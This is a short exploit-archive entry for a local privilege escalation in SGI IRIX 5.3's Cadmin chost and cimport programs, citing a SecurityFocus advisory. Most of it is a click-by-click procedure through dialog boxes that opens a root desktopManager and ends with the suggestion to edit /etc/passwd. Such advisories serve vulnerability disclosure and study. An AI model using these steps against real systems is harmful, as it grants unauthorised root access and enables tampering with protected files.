SGI IRIX 5.3 - 'Cadmin' Local Privilege Escalation

source: https://www.securityfocus.com/bid/335/info

A vulnerability exists in the chost and cimport programs, as shipped with SGI's Irix 5.x operating system. chost is part of the Cadmin package. By failing to validate the real userid, these programs allow any user to edit protected files, such as the passwd file.

/usr/Cadmin/bin/chost
tools-primary user information
change information
OK (to root password, ie leave blank)
OK (to "password invalid")
Cancel
Double-click any share resource to bring up desktopManager
running as root. Try editing /etc/passwd


/usr/Cadmin/bin/cimport
New
OK
OK
Cancel
double-click any of the mounted filesystems to bring up the desktopManager